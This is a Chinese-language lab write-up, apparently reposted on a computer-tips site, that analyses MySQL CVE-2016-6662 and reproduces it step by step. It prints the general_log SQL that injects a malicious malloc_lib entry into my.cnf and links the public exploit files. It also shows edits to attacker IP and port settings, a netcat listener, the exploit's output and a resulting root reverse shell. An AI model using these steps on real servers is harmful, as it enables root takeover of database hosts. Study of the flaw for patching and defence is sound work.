萬盛學電腦網

 萬盛學電腦網 >> 數據庫 >> mysql教程 >> MySQL遠程代碼執行/提取的分析與實踐

MySQL遠程代碼執行/提取的分析與實踐

下面我們來看一篇關於MySQL遠程代碼執行/提取的分析與實踐,希望這篇文章能夠幫助到各位朋友做好數據庫的安全。

0x00 背景

2016年9月12日,國外安全研究人員Dawid Golunski發布安全公告發現了MySQL的一個可被遠程代碼執行/權限提升的漏洞(CVE-2016-6662)。筆者在研究了原報告後,做了如下分析和實踐。

0x01 分析

漏洞披露原址: http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

影響范圍 (漏洞作者9月16日的最新更新):

MySQL <= 5.7.14

MySQL <= 5.6.32

MySQL <= 5.5.51

在對原報告的研究後,整理總結如下。

漏洞產生的原因:

1. MySQL的默認安裝包裡自帶了一個mysqld_safe的腳本用來啟動mysql的服務進程,如:


2. 該進程能夠在啟動mysql server之前預加載共享庫文件,通過參數 –malloc-lib = LIB

/usr/local/mysql/bin/mysqld_safe :

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

    if [ -z "$malloc_lib" ]; then
      log_error "no shared library for --malloc-lib=tcmalloc found in /usr/lib or $pkglibdir"
      exit 1
    fi
  fi
3. 共享庫文件可被添加在一個mysql的配置文件my.cnf中, 比如mysql的data目錄,$DATADIR/my.cnf

/usr/local/mysql/bin/mysqld_safe
:

# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/data
  if test -z "$defaults" -a -r "$DATADIR/my.cnf"
  then
    defaults="--defaults-extra-file=$DATADIR/my.cnf"
  fi
# Next try where the source installs put it
elif test -d $MY_BASEDIR_VERSION/var/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/var
# Or just give up and use our compiled-in default
else
  DATADIR=/usr/local/mysql/data
fi
4. 一旦攻擊者可以注入惡意庫文件在my.cnf文件中,即可在mysql服務重啟時以root權限執行預加載的任意共享庫中的任意代碼

漏洞的利用條件:

具有FILE和SELECT權限的mysql的用戶且能夠訪問日志功能(通常情況下只有MYSQL的管理員用戶具有)

漏洞的利用場景:

1. 在MYSQL已存在的具有弱權限或者權限設置不安全的配置文件(mysql用戶可寫)裡注入惡意代碼

2. 在MYSQL的data目錄裡(mysql用戶默認可寫)創建一個新的配置文件my.cnf,並注入惡意代碼

漏洞的利用原理:

1. 使用mysql的日志記錄功能創建/修改my.cnf文件

mysql> set global general_log_file = '/usr/local/mysql/data/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '>
    '> ; injected config entry
    '>
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '>
    '> [separator]
    '>
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
2. 注入包涵惡意代碼的分享庫,並添加到my.cnf文件的[mysqld]下,如:

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
3. 重啟mysql服務,即可實現以root權限執行惡意代碼

0x02 實踐

實驗環境:

Ubuntu 16.04.1 LTS
MySQL 5.5.50
實踐步驟:

1. MySQL安裝與配置: http://howtolamp.com/lamp/mysql/5.6/installing/

安裝後目錄如下:

root@ubuntu:/home/avfisher/avfisher# ls -l /usr/local/mysql/
total 72
drwxr-xr-x  2 mysql mysql  4096 9月  18 18:51 bin
-rw-r--r--  1 mysql mysql 17987 5月  16 17:46 COPYING
drwx------  6 mysql mysql  4096 9月  18 17:46 data
drwxr-xr-x  2 mysql mysql  4096 9月  13 23:58 docs
drwxr-xr-x  3 mysql mysql  4096 9月  13 19:17 include
-rw-r--r--  1 mysql mysql   301 5月  16 17:46 INSTALL-BINARY
drwxr-xr-x  3 mysql mysql  4096 9月  13 19:17 lib
drwxr-xr-x  4 mysql mysql  4096 9月  13 19:17 man
drwxr-xr-x 10 mysql mysql  4096 9月  13 19:17 mysql-test
-rw-r--r--  1 mysql mysql  2496 5月  16 17:46 README
drwxr-xr-x  2 mysql mysql  4096 9月  13 19:17 scripts
drwxr-xr-x 27 mysql mysql  4096 9月  13 19:17 share
drwxr-xr-x  4 mysql mysql  4096 9月  13 23:02 sql-bench
drwxr-xr-x  2 mysql mysql  4096 9月  18 17:52 support-files
2. 下載exp文件:

0ldSQL_MySQL_RCE_exploit.py: http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py
mysql_hookandroot_lib.c: http://legalhackers.com/exploits/mysql_hookandroot_lib.c
3. 查找mysql的data目錄,如:/usr/local/mysql/data

root@ubuntu:/home/avfisher/avfisher# ps aux | grep mysqld_safe
root     12592  0.0  0.0   4508  1780 pts/18   S    17:46   0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/usr/local/mysql/data/ubuntu.pid
root     13622  0.0  0.0  21296   940 pts/18   S+   18:59   0:00 grep --color=auto mysqld_saf
4. 修改exp文件

0ldSQL_MySQL_RCE_exploit.py:修改161行如下 (注意:此處的作用是將mysql的觸發器文件寫入到測試數據庫所在的同一目錄下)

TRG_path="/usr/local/mysql/data/%s/poctable.TRG" % args.TARGET_DB
mysql_hookandroot_lib.c:修改63-65行如下 (此處筆者使用的my.cnf的目錄是/usr/local/mysql/data/my.cnf)

#define ATTACKERS_IP "<你的監聽服務的IP>"
#define SHELL_PORT <你的監聽端口>
#define INJECTED_CONF "<你的mysql的data目錄下的my.cnf文件>"
5. 在監聽服務器上啟動監聽

[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
6. 創建測試數據庫用戶和數據庫

CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';
7. 執行0ldSQL_MySQL_RCE_exploit.py腳本如下:

root@ubuntu:/home/avfisher/avfisher# python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass p0cpass! -dbhost 127.0.0.1 -dbname pocdb -mycnf /usr/local/mysql/data/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 127.0.0.1 and target mysql account '[email protected]' using DB 'pocdb'

[+] The account in use has the following grants/perms:

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /usr/local/mysql/data/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /usr/local/mysql/data/my.cnf

[+] Showing the contents of /usr/local/mysql/data/my.cnf config to verify that our setting (malloc_lib) got injected

...
[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

...
8. 重啟mysql服務來觸發利用

root@ubuntu:/home/avfisher/avfisher# /usr/local/mysql/support-files/mysql.server restart
9. 監聽服務器成功收到反彈shell

[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.1.92.
Ncat: Connection from 192.168.1.92:46192.
root@ubuntu:/usr/local/mysql# id
id
uid=0(root) gid=0(root) groups=0(root)
0x03 總結

筆者在該漏洞的測試和實踐過程中,有如下的體會和心得:

1. 漏洞作者巧妙地利用了觸發器,使一個普通的用戶利用了root權限執行了所需的sql語句,從而成功地繞過了mysql對於general_log_file文件操作的權限限制

2. 漏洞作者提供了一個不錯的反彈shell的技巧,即在mysqld啟動之前利用preload加載my.cnf文件順序早於mysqld成功地修改了my.cnf文件中的冗余信息,保證了mysql服務的正常啟動

3. 關於mysql的data目錄下的my.cnf文件的權限問題,其實完全不需要chown mysql:mysql my.cnf, 只要同時具備以下2個條件即可:

數據庫用戶mysql對my.cnf具有可寫權限
my.cnf不是world-write權限

copyright © 萬盛學電腦網 all rights reserved